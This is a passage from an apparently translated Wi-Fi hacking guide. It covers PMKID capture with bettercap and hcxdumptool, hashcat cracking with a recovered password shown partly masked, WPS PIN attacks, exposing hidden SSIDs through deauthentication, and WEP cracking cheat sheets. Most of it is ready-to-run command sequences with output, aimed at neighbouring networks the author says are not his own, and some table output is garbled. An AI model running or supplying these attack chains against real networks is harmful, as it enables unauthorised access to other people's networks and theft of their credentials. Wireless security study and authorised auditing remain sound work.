So that after entering the access credentials, they are deposited in our equipment in the path **/var/www/html** , in the file **wifi-password.txt** . In the same way, in case of entering multiple passwords by several clients, these are stacked, being able to see all the history of passwords entered.

Attack on networks without clients

Until now, we have seen all the necessary techniques to find out the password of a Wi-Fi network that works by WPA/WPA2 protocol and PSK authentication, but always with the condition that it must have clients.

What happens if the network does not have clients? Can the password be found? The answer is yes, and no... it is not with a false authentication attack.

Clientless PKMID Attack

This new methodology will allow us to break the security of WPA and WPA2 through the so-called Pairwise Master Key Identifier or PMKID, a roaming feature enabled on many devices.

The main difference with existing attacks is that in this attack, the capture of an EAPOL or 4-way handshake is not necessary, as in previous cases. The new attack is performed with the RSN IE (Robust Network Information Element) of a simple EAPOL frame, which is cool and wonderful.

Attack from Bettercap

Although I don't do it that way, I explain it to you too. Let's imagine that we want to capture the Hashes of multiple wireless networks in our environment. Let's forget about Handshakes, and de-authentication attacks and all these techniques that we had seen previously.

The first thing, as always, is to put yourself in monitor mode, and from **Bettercap** carry out the following procedure:

```
┌─[root@parrot]─[/opt/bettercap]
└──╼ # ./bettercap -iface wlan0mon
bettercap v2.24.1 (built for linux amd64 with go1.10.4) [type ' help '  for a list of commands]
```

```
 wlan0mon » wifi.recon on
[22:38:15] [sys.log] [inf] wifi using interface wlan0mon (e4:70:b8:d3:93:5c)
[22:38:16] [sys.log] [inf] wifi started (min rssi: -200 dBm)
 wlan0mon » [22:38:16] [sys.log] [inf] wifi channel hopper started.
 wlan0mon » [22:38:16] [wifi.ap.new] wifi access point MOVISTAR_2A51 (-94 dBm) detected as 78:29:ed:a9:2a:52 (Askey Computer Corp).
 wlan0mon » [22:38:16] [wifi.ap.new] wifi access point MOVISTAR_A908 (-83 dBm) detected as fc:b4:e6:99:a9:09 (Askey Computer Corp).
 wlan0mon » [22:38:18] [wifi.ap.new] wifi access point MOVISTAR_1677 (-55 dBm) detected as 1c:b0:44:d4:16:78 (Askey Computer Corp).
 wlan0mon » [22:38:19] [wifi.ap.new] wifi access point MIWIFI_psGP (-95 dBm) detected as 50:78:b3:ee:bb:ac.
 wlan0mon » [22:38:19] [wifi.client.new] new station 20:34:fb:b1:c5:53 detected for MOVISTAR_1677 (1c:b0:44:d4:16:78)
 wlan0mon » w[22:38:20] [wifi.ap.new] wifi access point Wlan1 (-81 dBm) detected as f8:8e:85:df:3e:13 (Comtrend Corporation).
 wlan0mon » wifi.[22:38:21] [wifi.ap.new] wifi access point devolo-30d32d583c6b (-81 dBm) detected as 30:d3:2d:58:3c:6b (devolo AG).
 wlan0mon » wifi.[22:38:21] [wifi.ap.new] wifi access point LowiF7D3 (-90 dBm) detected as 10:62:d0:f6:f7:d8 (Technicolor CH USA Inc.).
 wlan0mon » wifi.show[22:38:21] [wifi.ap.new] wifi access point vodafone4038 (-91 dBm) detected as 28:9e:fc:0c:40:3e (Sagemcom Broadband
SAS).
 wlan0mon » wifi.show[22:38:21] [wifi.ap.new] wifi access point MOVISTAR_3126 (-94 dBm) detected as cc:d4:a1:0c:31:28 (MitraStar Technology
Corp.).
 wlan0mon » wifi.show
┌───────n't ──┬──────────n't ─────────┬───────┬───────┬─────────┐
| RSSI ▲ | BSSID | SSID | Encryption | WPS | Ch | Clients | Sent | Recvd | Seen |
├───────n't ──┼──────────n't ─────────┼───────┼───────┼─────────┤
| -57 dBm | 1c:b0:44:d4:16:78 | MOVISTAR_1677 | WPA2 (CCMP, PSK) | 2.0 | 6 | 1 | 486 B | 172 B | 22:38:19 |
| -83 dBm | f8:8e:85:df:3e:13 | Wlan1 | WPA (TKIP, PSK) | 1.0 | 9 | | | | 22:38:20 |
| -84 dBm | fc:b4:e6:99:a9:09 | MOVISTAR_A908 | WPA2 (CCMP, PSK) | 2.0 | 1 | | | | 22:38:17 |
| -85 dBm | 30:d3:2d:58:3c:6b | devolo-30d32d583c6b | WPA2 (CCMP, PSK) | 2.0 | 11 | | | | 22:38:22 |
| -86 dBm | 10:62:d0:f6:f7:d8 | LowiF7D3 | WPA2 (TKIP, PSK) | 2.0 | 11 | | | | 22:38:22 |
| -92 dBm | 28:9e:fc:0c:40:3e | vodafone4038 | WPA2 (TKIP, PSK) | 2.0 | 11 | | | | 22:38:21 |
| -94 dBm | 50:78:b3:ee:bb:ac | MIWIFI_psGP | WPA2 (CCMP, PSK) | 2.0 | 6 | | | | 22:38:19 |
| -94 dBm | 78:29:ed:a9:2a:52 | MOVISTAR_2A51 | WPA2 (CCMP, PSK) | 2.0 | 1 | | | | 22:38:16 |
| -94 dBm | cc:d4:a1:0c:31:28 | MOVISTAR_3126 | WPA2 (CCMP, PSK) | 2.0 (not configured) | 11 | | | | 22:38:21 |
└───────n't ──┴──────────n't ─────────┴───────┴───────┴─────────┘
wlan0mon (ch. 13) / ↑ 0 B / ↓ 26 kB / 112 pkts
```

```
 wlan0mon »
```

Seeing that all the networks are listed, we run the following command:

```
 wlan0mon » wifi.assoc all
 wlan0mon » [22:39:18] [sys.log] [inf] wifi sending association request to AP MOVISTAR_2A51 (channel:1 encryption:WPA2)
 wlan0mon » [22:39:18] [sys.log] [inf] wifi sending association request to AP MOVISTAR_A908 (channel:1 encryption:WPA2)
 wlan0mon » [22:39:18] [sys.log] [inf] wifi sending association request to AP MOVISTAR_2F95 (channel:1 encryption:WPA2)
 wlan0mon » [22:39:18] [sys.log] [inf] wifi sending association request to AP MIWIFI_psGP (channel:6 encryption:WPA2)
 wlan0mon » [22:39:18] [sys.log] [inf] wifi sending association request to AP MOVISTAR_1677 (channel:6 encryption:WPA2)
 wlan0mon » [22:39:18] [sys.log] [inf] wifi sending association request to AP Wlan1 (channel:9 encryption:WPA)
 wlan0mon » [22:39:18] [sys.log] [inf] wifi sending association request to AP vodafone4038 (channel:11 encryption:WPA2)
 wlan0mon » [22:39:18] [sys.log] [inf] wifi sending association request to AP MOVISTAR_3126 (channel:11 encryption:WPA2)
 wlan0mon » [22:39:19] [sys.log] [inf] wifi sending association request to AP LowiF7D3 (channel:11 encryption:WPA2)
 wlan0mon » [22:39:19] [sys.log] [inf] wifi sending association request to AP devolo-30d32d583c6b (channel:11 encryption:WPA2)
 wlan0mon » [22:39:19] [sys.log] [inf] wifi sending association request to AP MOVISTAR_1677 (channel:112 encryption:WPA2)
 wlan0mon » [22:39:19] [sys.log] [inf] wifi sending association request to AP MOVISTAR_PLUS_1677 (channel:112 encryption:WPA2)
 wlan0mon » [22:39:23] [wifi.client.handshake] captured e4:70:b8:d3:93:5c - > MOVISTAR_1677 (1c:b0:44:d4:16:78) RSN PMKID to /root/
bettercap-wifi-handshakes.pcap
 wlan0mon » [22:39:23] [wifi.client.handshake] captured e4:70:b8:d3:93:5c - > MOVISTAR_1677 (1c:b0:44:d4:16:78) RSN PMKID to /root/
bettercap-wifi-handshakes.pcap
 wlan0mon » [22:39:23] [wifi.client.handshake] captured e4:70:b8:d3:93:5c - > MOVISTAR_1677 (1c:b0:44:d4:16:78) RSN PMKID to /root/
bettercap-wifi-handshakes.pcap
 wlan0mon » [22:39:23] [wifi.client.handshake] captured e4:70:b8:d3:93:5c - > MOVISTAR_1677 (1c:b0:44:d4:16:78) RSN PMKID to /root/
bettercap-wifi-handshakes.pcap
 wlan0mon » [22:39:24] [wifi.client.handshake] captured e4:70:b8:d3:93:5c - > MOVISTAR_1677 (1c:b0:44:d4:16:78) RSN PMKID to /root/
bettercap-wifi-handshakes.pcap
 wlan0mon » [22:39:24] [wifi.client.handshake] captured e4:70:b8:d3:93:5c - > MOVISTAR_1677 (1c:b0:44:d4:16:78) RSN PMKID to /root/
bettercap-wifi-handshakes.pcap
```

```
 wlan0mon »
```

Simple, right? Well, that's it, it's that easy. **In the /root/bettercap-wifi-handshakes.pcap** file, now all we have to do is use the **hcxpcaptool** tool to convert our captures to Hashes and that's it.

I prefer to comment on this part in more detail in the following points.

Attack via hcxdumptool

This is the way I usually do it. We execute the following command to capture all possible PKMID's:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # hcxdumptool -i wlan0mon -o Trap --enable_status=1
initialization...
warning: NetworkManager is running with pid 27706
warning: wpa_supplicant is running with pid 27684
warning: wlan0mon is probably a monitor interface
start capturing (stop with ctrl+c)
INTERFACE................: wlan0mon
ERRORMAX................: 100 errors
FILTERLIST............: 0 entries
```

```
MAC CLIENT............: b0febdab6d9d
MAC ACCESS POINT.........: 24336c5495c9 (incremented on every new client)
EAPOL TIMEOUT............: 150000
REPLAYCOUNT............: 62752
ANONCE...................: 5e37baf7d8026ae9a9b5dcd74239558a74149218819377f2d3d866aa4c6249ab
[22:42:02 - 001] fcb4e699a909 - > b0febdab6d9d [FOUND PMKID CLIENT-LESS]
[22:42:08 - 006] 1cb044d41678 - > b0febdab6d9d [FOUND PMKID CLIENT-LESS]
```

```
INFO: cha=11, rx=1314, rx(dropped)=602, tx=117, powned=2, err=0
```

And as we can see, in a matter of seconds I have 2 vulnerable networks from which I have obtained the PKMID. At this point, we would be the same as with **Bettercap** , that is, we have the capture, and now what? Let's find out in the next point.

Using hcxpcaptool

Now comes the interesting part, we have seen how easy it has been to obtain a PKMID from 2 different networks. Well, now we just have to apply the following command to display the hash corresponding to the wireless network password:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ #ls _
Capture
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # hcxpcaptool -z myHashes Capture
reading from Capture
Summary:
--------
file name.......................: Capture
file type.......................: pcapng 1.0
file hardware information........: x86_64
file os information............: Linux 4.19.0-parrot1-13t-amd64
file application information.....: hcxdumptool 5.1.7
network type.....................: DLT_IEEE802_11_RADIO (127)
endianness..........................: little endianread errors............: flawless
packets inside...................: 30
skipped packets (damaged).........: 0
packets with GPS data............: 0
packets with FCS................: 30
beacons (total).................: 9
beacons (WPS info inside).........: 6
authentications (OPEN SYSTEM).....: 9
authentications (BROADCOM)........: 7
EAPOL packets (total)............: 12
EAPOL packets (WPA2)............: 12
PMKIDs (total)...................: 2
PMKIDs (WPA2).................: 12
PMKIDs from access points.........: 2
best PMKIDs............: 2
2 PMKID(s) written to myHashes
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # cat myHashes
0d4191730a005481706436bdbc50919c * fcb4e699a909 * b0febdab6d9d * 4d4f5649535441525f41393038
```

```
2fb026310184f6efcb0fd0d69b198b3a * 1cb044d41678 * b0febdab6d9d * 4d4f5649535441525f31363737
```

NOTE : To find out which networks these Hashes belong to, we just have to visualize the value between the first and second asterisks. They correspond to the BSSID's of the AP's.

And these can already be passed through **hashcat** to submit them to the Cracking phase:

```
 ┌─[root@parrot]─[/usr/share/wordlists]
└──╼ # hashcat -m 16800 -d 1 -w 3 myHashes rockyou.txt
hashcat (v5.1.0) starting...
OpenCL Platform # 1: NVIDIA Corporation
======================================* Device # 1: GeForce GTX 1050, 1010/4040 MB allocatable, 5MCU
OpenCL Platform # 2: The pocl project
=====================================* Device # 2: pthread-Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz, skipped.
Hashes: 2 digests ; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
rules: 1
Applicable optimizers:* Zero-Byte
 * Slow-Hash-SIMD-LOOP
Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63
Watchdog: Temperature abort trigger set to 90c* Device # 1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D 
LOCAL_MEM_TYPE=1 -D VENDOR_ID=32 -D CUDA_ARCH=601 -D AMD_ROCM=0 -D VECT_SIZE=1 -D DEVICE_TYPE=4 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D 
DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=16800 -D _unroll'
Dictionary cache hit:* Filename..: rockyou.txt
 * Passwords.: 14344387
 * Bytes.....: 139921538
 * Keyspace..: 14344387
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit = > s
Session..........: hashcat
```

```
Status...........: Running
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: myHashes
Time.Started.....: Mon Aug 12 22:48:04 2019 (3 secs)
Time.Estimated...: Mon Aug 12 22:53:08 2019 (5 mins, 1 sec)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed. # 1.........: 93064 H/s (55.72ms) @ Accel:512 Loops:128 Thr:64 Vec:1
Recovered........: 0/2 (0.00%) Digests, 0/2 (0.00%) Salts
Progress.........: 610384/28688774 (2.13%)
Rejected.........: 446544/610384 (73.16%)
Restore.Point....: 0/14344387 (0.00%)
Restore.Sub. # 1...: Salt:1 Amplifier:0-1 Iteration:3712-3840
Candidates. # 1....: 123456789 -> sunflower15
Hardware.Mon. # 1..: Temp: 64c Util: 99% Core:1670MHz Mem:3504MHz Bus:8
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit = > s
Session..........: hashcat
Status...........: Running
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: myHashes
Time.Started.....: Mon Aug 12 22:48:04 2019 (7 secs)
Time.Estimated...: Mon Aug 12 22:53:09 2019 (4 mins, 58 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed. # 1.........: 91919 H/s (55.94ms) @ Accel:512 Loops:128 Thr:64 Vec:1
Recovered........: 0/2 (0.00%) Digests, 0/2 (0.00%) Salts
Progress.........: 1292574/28688774 (4.51%)
Rejected.........: 801054/1292574 (61.97%)
Restore.Point....: 387112/14344387 (2.70%)
Restore.Sub. # 1...: Salt:1 Amplifier:0-1 Iteration:3840-3968
Candidates. # 1....: sunflower11 -> 22lovers
Hardware.Mon. # 1..: Temp: 66c Util:100% Core:1657MHz Mem:3504MHz Bus:8
```

```
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit = >
```

In my case, I use the **GPU** and I can tell you that the total time to crack these hashes is 5 minutes. (Although you can also see it in the output above.)

It could be said that it is a joy, because we are forgetting
both **aircrack** and **aireplay** , **airodump** , **pyrit** , **airolib** , **cowpatty** , **genpmk** , etc.

Once the password is cracked, it is displayed:

```
 [s]tatus [p]ause [b]ypass [c]heckpoint [q]uit = > s
Session..........: hashcat
Status...........: Running
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: myHashes
Time.Started.....: Mon Aug 12 22:48:04 2019 (1 min, 51 secs)
Time.Estimated...: Mon Aug 12 22:52:25 2019 (2 mins, 30 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed. # 1.........: 89458 H/s (57.26ms) @ Accel:512 Loops:128 Thr:64 Vec:1
Recovered........: 0/2 (0.00%) Digests, 0/2 (0.00%) Salts
Progress.........: 15218868/28688774 (53.05%)
Rejected.........: 5388468/15218868 (35.41%)
Restore.Point....: 7545850/14344387 (52.60%)
Restore.Sub. # 1...: Salt:0 Amplifier:0-1 Iteration:2816-2944
Candidates. # 1....: horneybabe1987 -> groovejet
Hardware.Mon. # 1..: Temp: 86c Util: 99% Core:1632MHz Mem:3504MHz Bus:8
Approaching final keyspace - workload adjusted.
2fb026310184f6efcb0fd0d69b198b3a * 1cb044d41678 * b0febdab6d9d * 4d4f5649535441525f31363737:KqpsEFunpXXXXXXXXX
Session..........: hashcat
Status...........: Exhausted
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: myHashes
Time.Started.....: Mon Aug 12 22:48:04 2019 (3 mins, 36 secs)
Time.Estimated...: Mon Aug 12 22:51:40 2019 (0 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed. # 1.........: 88906 H/s (47.34ms) @ Accel:512 Loops:128 Thr:64 Vec:1
Recovered........: 1/2 (50.00%) Digests, 1/2 (50.00%) Salts
Progress.........: 28688774/28688774 (100.00%)
Rejected.........: 9469826/28688774 (33.01%)
Restore.Point....: 14344387/14344387 (100.00%)
Restore.Sub. # 1...: Salt:1 Amplifier:0-1 Iteration:0-1
Candidates. # 1....: 0133112024erdalk -> KqpsEFunpo7w29nrbx4H
Hardware.Mon. # 1..: Temp: 88c Util: 99% Core:1632MHz Mem:3504MHz Bus:8
Started: Mon Aug 12 22:48:02 2019
```

```
Stopped: Mon Aug 12 22:51:42 2019
```

Or also:

```
 ┌─[root@parrot]─[/usr/share/wordlists]
└──╼ # cat myHashes
0d4191730a005481706436bdbc50919c * fcb4e699a909 * b0febdab6d9d * 4d4f5649535441525f41393038
2fb026310184f6efcb0fd0d69b198b3a * 1cb044d41678 * b0febdab6d9d * 4d4f5649535441525f31363737
┌─[root@parrot]─[/usr/share/wordlists]
└──╼ # hashcat -m 16800 --show myHashes

2fb026310184f6efcb0fd0d69b198b3a * 1cb044d41678 * b0febdab6d9d * 4d4f56495354415X25f31363737:KXqpsEXXXFunpX
```

WPS attacks

As almost the last of the points to deal with for **WPA/WPA2** protocol networks , I cannot finish the section without mentioning the famous **WPS** .

From my experience, I could be telling you right now how to use **pixiedust** , **reaver** or derivatives, but I prefer to show you useful tools that really give results, or at least have a more likely success rate.

Using WPSPinGenerator

If you look at all the **Gist** , we have done most of the procedures by hand, I mean, without using automated tools. I am not used to making use of tools that automate a procedure, especially out of curiosity about how that one works below. However, for this case, there is one of them specially designed for **WPS** that I do use, due to its high success rate.

The **Wifislax** operating system could be said to be an operating system oriented to WiFi Hacking and Auditing. It has many automation tools like Fluxion, Linset or Wifimosys that automate everything we have been doing by hand. It is an OS mainly geared towards **Script Kiddies** .

One of the **Wifislax** tools that I use quite frequently is **WPSPinGenerator** , not to say that it is the only tool that I use from this OS. What does **WPSPinGenerator** allow us to do ? Let's see it with a practical example.

At the beginning, it is necessary to select the network interface with which to work, specify the channels on which we want to scan, in short... the typical. I'll skip this part.

Once we scan the available networks in our environment, we see something like this:

If we look closely, we see that for each wireless network, we are told whether or not it has a generic PIN. (I recommend that you read how the association works through PIN).

Once we select the network, look at how interesting:

It lists the possible PINS for that network. Usually, after 3 attempts, the router blocks the WPS so that no more requests can be sent. However, sometimes instead of 5 pins, the tool reports 2, or even 1.

For this case, which is 5, the correct PIN was in the first position (it's not my network), and after selecting option **2** , we get the following results:

The wireless network password in clear text directly. In case you don't see it well:

The good thing about this? No matter how many times you change the password... because if the PIN remains the same for eternity, as attackers we will always be able to see it in a matter of seconds, regardless of its length or robustness.

WPA Hidden Networks

Now to finish this Gist, I will mention a technique for WPA networks that are configured as hidden.

Generally, from **aircrack** , hidden networks are listed like this:

`<length: 0>`

What do we do in this case when the network is hidden? Well, we know that we won't have a problem at the filtering level... so we filter by the **BSSID** and the problem is solved. However, there is a small flaw in this configuration that allows us to find the **ESSID** of the AP.

If we carry out a global de-authentication attack to expel all the clients (or directed if there is only one), when they try to re-associate with the AP, one of the packets they send we have already seen is the **Probe Request** :

```
 ┌─[root@parrot]─[/home/s4vitar]
└──╼ # tshark -i wlan0mon -Y "wlan.fc.type_subtype==4" 2>/dev/null
   59 3.094674701 HonHaiPr_17:91:c0 → Broadcast 802.11 240 Probe Request, SN=1378, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
   63 3.304134536 HonHaiPr_17:91:c0 → Broadcast 802.11 240 Probe Request, SN=1379, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
   98 4.671950803 Apple_48:66:14 → Broadcast 802.11 213 Probe Request, SN=1113, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
  100 4.682076898 Apple_48:66:14 → Broadcast 802.11 213 Probe Request, SN=1114, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
```

Perfect, because of these packets, the first one issued before starting the association phase always emits the **ESSID** of the network in clear text by default, in a non-hidden and transparent way for the attacker.
In this way, we may be able to extract the **ESSID** from the network after applying a de-authentication attack on one of the stations present. But what is the good thing about this? That we don't even have to do the work. Once the **aircrack** suite itself detects these Probe packets, it parses them in search of the **ESSID** of the hidden network. If obtained, it replaces the field `<length: 0>` with the discovered **ESSID** , automatically.

WEP networks

IMPORTANT: At this point, I will not go into as much detail as WPA protocol networks. Why? Because for that you already have all the necessary material that they give you after completing the certification, which is aimed at violating the WEP protocol. Everything seen so far, have been techniques that I wanted to share with you about the WPA/WPA2 protocol, since it is the most used today and the one that we will find most frequently in our environment.
Even so, I leave a **Cheat Sheet** for each of the cases.

Fake Authentication Attack

```
s4vitar@parrot: ~ # airmon-ng start wlan0
s4vitar@parrot: ~ # airodump-ng –c <AP_Channel> --bssid <BSSID> -w <CaptureName> wlan0mon # Identify our MAC
s4vitar@parrot: ~ # macchanger -- show wlan0mon
s4vitar@parrot: ~ # aireplay-ng -1 0 -a <BSSID> -h <ourMAC> -e <ESSID> wlan0mon
s4vitar@parrot: ~ # aireplay-ng -2 –p 0841 –c FF:FF: FF:FF:FF:FF –b <BSSID> -h <ourMAC> wlan0mon
s4vitar@parrot: ~ # aircrack-ng –b <BSSID> <PCAPfile>
```

ARP Replay Attack

```
s4vitar@parrot: ~ # airmon-ng start wlan0
s4vitar@parrot: ~ # airodump-ng –c <AP_Channel> --bssid <BSSID> -w <CaptureName> wlan0mon # Identify our MAC
s4vitar@parrot: ~ # macchanger -- show wlan0mon
s4vitar@parrot: ~ # aireplay-ng -3 –x 1000 –n 1000 –b <BSSID> -h <ourMAC> wlan0mon
s4vitar@parrot: ~ # aircrack-ng –b <BSSID> <PCAPfile>
```

Chop Chop Attack

```
s4vitar@parrot: ~ # airmon-ng start wlan0
s4vitar@parrot: ~ # airodump-ng –c <AP_Channel> --bssid <BSSID> -w <filename> wlan0mon # Identify our MAC
s4vitar@parrot: ~ # macchanger -- show wlan0mon
s4vitar@parrot: ~ # aireplay-ng -1 0 –e <ESSID> -a <BSSID> -h <ourMAC> wlan0mon
s4vitar@parrot: ~ # aireplay-ng -4 –b <BSSID> -h <ourMAC > wlan0mon # Press 'y' ;
s4vitar@parrot: ~ #packetforge-ng -0 –a <BSSID> -h <ourMAC> -k <SourceIP> -l <DestinationIP> -y <XOR_PacketFile> -w <FileName2>
s4vitar@parrot: ~ # aireplay-ng -2 –r <FileName2 > wlan0mon
s4vitar@parrot: ~ # aircrack-ng <PCAPfile>
```

Fragmentation Attack

```
s4vitar@parrot: ~ # airmon-ng start wlan0
s4vitar@parrot: ~ # airodump-ng –c <AP_Channel> --bssid <BSSID> -w <filename> wlan0mon # Identify our MAC
s4vitar@parrot: ~ # macchanger -- show wlan0mon
s4vitar@parrot: ~ # aireplay-ng -1 0 –e <ESSID> -a <BSSID> -h <ourMAC> wlan0mon
s4vitar@parrot: ~ # aireplay-ng -5 –b<BSSID> -h <ourMAC > wlan0mon # Press 'y' ;
s4vitar@parrot: ~ #packetforge-ng -0 –a <BSSID> -h <ourMAC> -k <SourceIP> -l <DestinationIP> -y <XOR_PacketFile> -w <FileName2>
s4vitar@parrot: ~ # aireplay-ng -2 –r <FileName2 > wlan0mon
s4vitar@parrot: ~ # aircrack-ng <PCAPfile>
```

SKA Type Cracking

```
s4vitar@parrot: ~ # airmon-ng start wlan0
s4vitar@parrot: ~ # airodump-ng –c <AP_Channel> --bssid <BSSID> -w <filename> wlan0mon
s4vitar@parrot: ~ # aireplay-ng -0 10 – a <BSSID> -c <macVictim> wlan0mon
s4vitar@parrot: ~ # ifconfig wlan0mon down
s4vitar@parrot: ~ # macchanger –-mac <macVictim> wlan0mon
s4vitar@parrot: ~ # ifconfig wlan0mon up
s4vitar@parrot: ~ # aireplay- ng -3 –b <BSSID> -h <macFalse> wlan0mon
s4vitar@parrot: ~ #aireplay-ng –-deauth 1 –a <BSSID> -h <macFalse> wlan0mon
s4vitar@parrot: ~ # aircrack-ng <PCAPfile>
```